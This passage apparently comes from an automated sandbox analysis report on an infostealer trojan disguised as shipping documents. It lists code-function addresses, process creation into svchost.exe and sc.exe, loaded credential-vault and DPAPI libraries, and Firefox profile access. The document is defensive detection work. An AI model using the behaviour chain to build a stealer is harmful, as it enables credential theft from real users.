                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_004F06231_2_004F0623
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_004EE75F1_2_004EE75F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_004EE7571_2_004EE757
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_004EE7631_2_004EE763
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_004E27D01_2_004E27D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030FA3521_2_030FA352
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0304E3F01_2_0304E3F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_031003E61_2_031003E6
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030E02741_2_030E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030C02C01_2_030C02C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030301001_2_03030100
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030DA1181_2_030DA118
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030C81581_2_030C8158
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030F41A21_2_030F41A2
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_031001AA1_2_031001AA
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030F81CC1_2_030F81CC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030D20001_2_030D2000
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030647501_2_03064750
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030407701_2_03040770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0303C7C01_2_0303C7C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0305C6E01_2_0305C6E0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030405351_2_03040535
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_031005911_2_03100591
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030E44201_2_030E4420
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030F24461_2_030F2446
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030EE4F61_2_030EE4F6
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030FAB401_2_030FAB40
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030F6BD71_2_030F6BD7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0303EA801_2_0303EA80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030569621_2_03056962
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030429A01_2_030429A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0310A9A61_2_0310A9A6
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0304A8401_2_0304A840
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030428401_2_03042840
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030268B81_2_030268B8
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0306E8F01_2_0306E8F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03082F281_2_03082F28
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03060F301_2_03060F30
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030E2F301_2_030E2F30
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030B4F401_2_030B4F40
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030BEFA01_2_030BEFA0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03032FC81_2_03032FC8
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030FEE261_2_030FEE26
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03040E591_2_03040E59
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03052E901_2_03052E90
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030FCE931_2_030FCE93
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030FEEDB1_2_030FEEDB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0304AD001_2_0304AD00
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030DCD1F1_2_030DCD1F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03058DBF1_2_03058DBF
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0303ADE01_2_0303ADE0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03040C001_2_03040C00
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030E0CB51_2_030E0CB5
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03030CF21_2_03030CF2
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030F132D1_2_030F132D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0302D34C1_2_0302D34C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0308739A1_2_0308739A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030452A01_2_030452A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0305B2C01_2_0305B2C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030E12ED1_2_030E12ED
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0305D2F01_2_0305D2F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0307516C1_2_0307516C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0302F1721_2_0302F172
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0310B16B1_2_0310B16B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0304B1B01_2_0304B1B0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030EF0CC1_2_030EF0CC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030470C01_2_030470C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030F70E91_2_030F70E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030FF0E01_2_030FF0E0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030FF7B01_2_030FF7B0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030F16CC1_2_030F16CC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030F75711_2_030F7571
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030DD5B01_2_030DD5B0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030FF43F1_2_030FF43F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030314601_2_03031460
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030FFB761_2_030FFB76
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0305FB801_2_0305FB80
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030B5BF01_2_030B5BF0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0307DBF91_2_0307DBF9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030FFA491_2_030FFA49
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030F7A461_2_030F7A46
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030B3A6C1_2_030B3A6C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030DDAAC1_2_030DDAAC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03085AA01_2_03085AA0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030E1AA31_2_030E1AA3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030EDAC61_2_030EDAC6
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030D59101_2_030D5910
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030499501_2_03049950
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0305B9501_2_0305B950
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030AD8001_2_030AD800
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030438E01_2_030438E0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030FFF091_2_030FFF09
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03041F921_2_03041F92
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030FFFB11_2_030FFFB1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03049EB01_2_03049EB0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03043D401_2_03043D40
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030F1D5A1_2_030F1D5A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030F7D731_2_030F7D73
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0305FDC01_2_0305FDC0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030B9C321_2_030B9C32
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_030FFCF21_2_030FFCF2
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_0330A3526_2_0330A352
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_0325E3F06_2_0325E3F0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_033103E66_2_033103E6
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_032F02746_2_032F0274
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_032D02C06_2_032D02C0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_032401006_2_03240100
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_032EA1186_2_032EA118
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_032D81586_2_032D8158
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_033041A26_2_033041A2
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_033101AA6_2_033101AA
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_033081CC6_2_033081CC
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_032E20006_2_032E2000
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_032507706_2_03250770
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_032747506_2_03274750
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_0324C7C06_2_0324C7C0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_0326C6E06_2_0326C6E0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_032505356_2_03250535
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_033105916_2_03310591
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_032F44206_2_032F4420
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_033024466_2_03302446
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_032FE4F66_2_032FE4F6
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_0330AB406_2_0330AB40
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_03306BD76_2_03306BD7
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_0324EA806_2_0324EA80
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_032669626_2_03266962
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_032529A06_2_032529A0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_0331A9A66_2_0331A9A6
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_032528406_2_03252840
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_0325A8406_2_0325A840
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_032368B86_2_032368B8
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_0327E8F06_2_0327E8F0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_03292F286_2_03292F28
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_03270F306_2_03270F30
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_032F2F306_2_032F2F30
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_032C4F406_2_032C4F40
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_032CEFA06_2_032CEFA0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_03242FC86_2_03242FC8
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_0330EE266_2_0330EE26
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_03250E596_2_03250E59
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_0330CE936_2_0330CE93
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_03262E906_2_03262E90
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_0330EEDB6_2_0330EEDB
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_0325AD006_2_0325AD00
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_032ECD1F6_2_032ECD1F
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_03268DBF6_2_03268DBF
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_0324ADE06_2_0324ADE0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_03250C006_2_03250C00
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_032F0CB56_2_032F0CB5
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_03240CF26_2_03240CF2
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_0330132D6_2_0330132D
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_0323D34C6_2_0323D34C
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_0329739A6_2_0329739A
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_032552A06_2_032552A0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_032F12ED6_2_032F12ED
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_0326D2F06_2_0326D2F0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_0326B2C06_2_0326B2C0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_0328516C6_2_0328516C
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_0323F1726_2_0323F172
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_0331B16B6_2_0331B16B
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_0325B1B06_2_0325B1B0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_0330F0E06_2_0330F0E0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_033070E96_2_033070E9
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_032FF0CC6_2_032FF0CC
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_032570C06_2_032570C0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_0330F7B06_2_0330F7B0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_032956306_2_03295630
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_033016CC6_2_033016CC
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_033075716_2_03307571
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_032ED5B06_2_032ED5B0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_033195C36_2_033195C3
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_0330F43F6_2_0330F43F
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_032414606_2_03241460
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_0330FB766_2_0330FB76
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_0326FB806_2_0326FB80
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_0328DBF96_2_0328DBF9
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_032C5BF06_2_032C5BF0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_032C3A6C6_2_032C3A6C
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_03307A466_2_03307A46
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_0330FA496_2_0330FA49
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_032EDAAC6_2_032EDAAC
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_03295AA06_2_03295AA0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_032F1AA36_2_032F1AA3
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_032FDAC66_2_032FDAC6
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_032E59106_2_032E5910
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_032599506_2_03259950
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_0326B9506_2_0326B950
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_032BD8006_2_032BD800
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_032538E06_2_032538E0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_0330FF096_2_0330FF09
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_0330FFB16_2_0330FFB1
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_03251F926_2_03251F92
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_03213FD26_2_03213FD2
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_03213FD56_2_03213FD5
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_03259EB06_2_03259EB0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_03307D736_2_03307D73
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_03253D406_2_03253D40
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_03301D5A6_2_03301D5A
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_0326FDC06_2_0326FDC0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_032C9C326_2_032C9C32
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_0330FCF26_2_0330FCF2
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_008B21106_2_008B2110
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_008ACFC06_2_008ACFC0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_008AB1D06_2_008AB1D0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_008AD1E06_2_008AD1E0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_008AB31C6_2_008AB31C
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_008AB3146_2_008AB314
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_008AB3206_2_008AB320
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_008B57D06_2_008B57D0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_008B39D06_2_008B39D0
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_008CBF806_2_008CBF80
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_0310E5636_2_0310E563
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_0310E4486_2_0310E448
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_031154D46_2_031154D4
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_0310D9C86_2_0310D9C8
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_0310E8FD6_2_0310E8FD
                Source: C:\Windows\SysWOW64\sc.exeCode function: 6_2_0310CC736_2_0310CC73
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: String function: 00D1EC2F appears 68 times
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: String function: 00D26AC0 appears 42 times
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: String function: 00D2F8A0 appears 35 times
                Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 030AEA12 appears 86 times
                Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 0302B970 appears 262 times
                Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 030BF290 appears 103 times
                Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 03075130 appears 58 times
                Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 03087E54 appears 99 times
                Source: C:\Windows\SysWOW64\sc.exeCode function: String function: 03297E54 appears 107 times
                Source: C:\Windows\SysWOW64\sc.exeCode function: String function: 032CF290 appears 103 times
                Source: C:\Windows\SysWOW64\sc.exeCode function: String function: 0323B970 appears 262 times
                Source: C:\Windows\SysWOW64\sc.exeCode function: String function: 03285130 appears 58 times
                Source: C:\Windows\SysWOW64\sc.exeCode function: String function: 032BEA12 appears 86 times
                Source: AWB_5771388044 Documente de expediere.exe, 00000000.00000003.1665719792.0000000004193000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenamentdll.dllj% vs AWB_5771388044 Documente de expediere.exe
                Source: AWB_5771388044 Documente de expediere.exe, 00000000.00000003.1666244662.000000000433D000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenamentdll.dllj% vs AWB_5771388044 Documente de expediere.exe
                Source: AWB_5771388044 Documente de expediere.exeStatic PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
                Source: classification engineClassification label: mal100.troj.spyw.evad.winEXE@7/3@4/3
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D4CE7A GetLastError,FormatMessageW,0_2_00D4CE7A
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D3AB84 AdjustTokenPrivileges,CloseHandle,0_2_00D3AB84
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D3B134 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,0_2_00D3B134
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D4E1FD SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,0_2_00D4E1FD
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D46532 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,__wsplitpath,_wcscat,CloseHandle,0_2_00D46532
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D5C18C CoInitializeSecurity,_memset,_memset,CoCreateInstanceEx,CoTaskMemFree,CoSetProxyBlanket,0_2_00D5C18C
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeCode function: 0_2_00D0406B CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,0_2_00D0406B
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeFile created: C:\Users\user\AppData\Local\Temp\aut6327.tmpJump to behavior
                Source: AWB_5771388044 Documente de expediere.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                Source: C:\Program Files\Mozilla Firefox\firefox.exeFile read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.iniJump to behavior
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
                Source: sc.exe, 00000006.00000002.2915308329.0000000002DA2000.00000004.00000020.00020000.00000000.sdmp, sc.exe, 00000006.00000003.2429758064.0000000002D81000.00000004.00000020.00020000.00000000.sdmp, sc.exe, 00000006.00000003.2429878748.0000000002DA2000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
                Source: AWB_5771388044 Documente de expediere.exeReversingLabs: Detection: 76%
                Source: unknownProcess created: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exe "C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exe"
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeProcess created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exe"
                Source: C:\Program Files (x86)\AcdjiFwQZaECWnpuJMYFYYlrnRKuOgezrdeiKUUqanKdyQxGZTYTvar\dnqNlDRmfuUrS.exeProcess created: C:\Windows\SysWOW64\sc.exe "C:\Windows\SysWOW64\sc.exe"
                Source: C:\Windows\SysWOW64\sc.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeProcess created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exe"Jump to behavior
                Source: C:\Program Files (x86)\AcdjiFwQZaECWnpuJMYFYYlrnRKuOgezrdeiKUUqanKdyQxGZTYTvar\dnqNlDRmfuUrS.exeProcess created: C:\Windows\SysWOW64\sc.exe "C:\Windows\SysWOW64\sc.exe"Jump to behavior
                Source: C:\Windows\SysWOW64\sc.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"Jump to behavior
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeSection loaded: apphelp.dllJump to behavior
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeSection loaded: wsock32.dllJump to behavior
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeSection loaded: version.dllJump to behavior
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeSection loaded: winmm.dllJump to behavior
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeSection loaded: mpr.dllJump to behavior
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeSection loaded: wininet.dllJump to behavior
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeSection loaded: iphlpapi.dllJump to behavior
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeSection loaded: userenv.dllJump to behavior
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeSection loaded: uxtheme.dllJump to behavior
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeSection loaded: kernel.appcore.dllJump to behavior
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeSection loaded: windows.storage.dllJump to behavior
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeSection loaded: wldp.dllJump to behavior
                Source: C:\Users\user\Desktop\AWB_5771388044 Documente de expediere.exeSection loaded: ntmarta.dllJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeSection loaded: wininet.dllJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeSection loaded: kernel.appcore.dllJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeSection loaded: uxtheme.dllJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeSection loaded: ieframe.dllJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeSection loaded: iertutil.dllJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeSection loaded: netapi32.dllJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeSection loaded: version.dllJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeSection loaded: userenv.dllJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeSection loaded: winhttp.dllJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeSection loaded: wkscli.dllJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeSection loaded: netutils.dllJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeSection loaded: sspicli.dllJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeSection loaded: windows.storage.dllJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeSection loaded: wldp.dllJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeSection loaded: profapi.dllJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeSection loaded: secur32.dllJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeSection loaded: mlang.dllJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeSection loaded: propsys.dllJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeSection loaded: winsqlite3.dllJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeSection loaded: vaultcli.dllJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeSection loaded: wintypes.dllJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeSection loaded: dpapi.dllJump to behavior
                Source: C:\Windows\SysWOW64\sc.exeSection loaded: cryptbase.dllJump to behavior
                Source: C:\Program Files (x86)\AcdjiFwQZaECWnpuJMYFYYlrnRKuOgezrdeiKUUqanKdyQxGZTYTvar\dnqNlDRmfuUrS.exeSection loaded: wininet.dllJump to behavior
                Source: C:\Program Files (x86)\AcdjiFwQZaECWnpuJMYFYYlrnRKuOgezrdeiKUUqanKdyQxGZTYTvar\dnqNlDRmfuUrS.exeSection loaded: mswsock.dllJump to behavior
